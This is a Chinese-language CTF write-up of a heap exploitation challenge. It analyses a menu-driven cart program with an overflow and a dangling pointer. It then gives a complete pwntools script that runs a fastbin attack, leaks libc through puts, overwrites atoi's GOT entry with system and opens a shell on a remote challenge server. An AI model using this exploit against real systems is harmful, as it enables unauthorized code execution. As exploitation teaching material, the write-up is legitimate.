前言
fastbin attack, 劫持got表
分析过程
int __cdecl main()
{
int result; // eax
int v1; // [esp+1Ch] [ebp-4h]
alarm(0x1Eu);
SetBuf();
title();
info();
while ( 2 )
{
menu();
v1 = input();
if ( v1 == -1 )
return 0;
switch ( v1 )
{
case 1:
Dian_Cai();
continue;
case 2:
Submit();
continue;
case 3:
Receipt();
continue;
case 4:
Review();
continue;
case 5:
result = 0;
break;
default:
puts("Invalid choice!");
fflush(stdout);
continue;
}
break;
}
return result;
}
老规矩, 每个函数读一读, 发现在第一个分支函数里有溢出漏洞
第二个分支函数(submit), 也就是free, 清空后没有将指针置零
后边有一个review
函数回显, 可以泄露信息
int sub_8048A20()
{
int v1; // [esp+1Ch] [ebp-Ch]
v1 = dword_804B1C0;
if ( dword_804B2E0 )
{
puts("Cart:");
while ( v1 )
{
printf("%s * %d\n", (v1 + 4), *v1);
v1 = *(v1 + 36);
}
printf("Total:%d\n", dword_804B2E0);
}
else
{
puts("Nothing in cart");
}
printf("Address:%s\n", byte_804B1E0);
printf("Phone:%s\n", byte_804B0C0);
return printf("Title:%s\n", byte_804B300);
}
逆向出点菜的结构体
struct CAI{
int count;
char s[32];
struct CAI *next;
}
仔细看看程序逻辑, 程序是用头插法建立链表, 维护chunk
释放就是按链表自头向尾依次释放
漏洞利用
可以采用fastbin attack的方式, 控制chunk0溢出到chunk1, 修改chunk1的fd指针到链表头伪造一个chunk, 通过伪造的chunk控制链表头指针0x804B1C0
, 这一步是通过phone number的输入实现
控制了指针0x804B1C0
, 这样按照原程序逻辑走, 就会在add(str(system_addr - 0x100000000),cyclic(4) + p32(atoi_got))
时, 将atoi_got改成system的地址, system_addr - 0x100000000是适应got表地址做出的调整 ( ?
修改了got表, 下一次发送"/bin/sh\x00"就可以调用system("/bin/sh")
exp
from LibcSearcher import LibcSearcher
from pwn import *
from pwnlib.util.cyclic import cyclic
url, port = "111.200.241.244", 59964
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def add(content, count):
io.sendlineafter('choose:', '1')
io.sendlineafter('5.Jianjiao', content)
io.sendlineafter('How many?', count)
def delete():
io.sendlineafter('choose:', '2')
def show():
io.sendlineafter('choose:', '4')
def pwn():
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
ptr = 0x804B1C0
payload = cyclic(0xF0) + p32(0) + p32(0x31)
io.sendlineafter('Your Address:','falca')
io.sendlineafter('Your Phone number:', payload)
add("0", "10")
add("1", "10")
add("2", "10")
delete()
payload = cyclic(0x20) + p32(puts_got - 4) # printf("%s * %d\n", (v1 + 4), *v1);
payload += p32(0) + p32(0x31) + p32(ptr-0x10)
add(payload, "10") # recall chunk0
show()
io.recvuntil("* 10\n")
puts_addr = u32(io.recv(4))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
log.info("libc base address: %#x" % libc_base)
log.info("system address: %#x" % system_addr)
add("1", "10") # recall chunk1
add(cyclic(4) + p32(atoi_got), str(system_addr - 0x100000000))
io.sendlineafter('choose:','/bin/sh\x00')
io.interactive()
if __name__ == '__main__':
pwn()
总结
难点
(1) 理解最后一个payload的运行过程, 是巧妙利用程序直接对0x804B1C0
地址进行input
操作的逻辑, 修改0x804B1C0
就可以修改任意地址, 这是一个任意地址写的功能, 而逆推回去, 为了修改0x804B1C0
, 就需要伪造chunk, 进而控制0x804B1C0
指针, 所以整个漏洞利用思路就清晰了
卡点
(1) 16进制计算犯了shapi错误, 0x100 - 0x10 = 0x90 (= =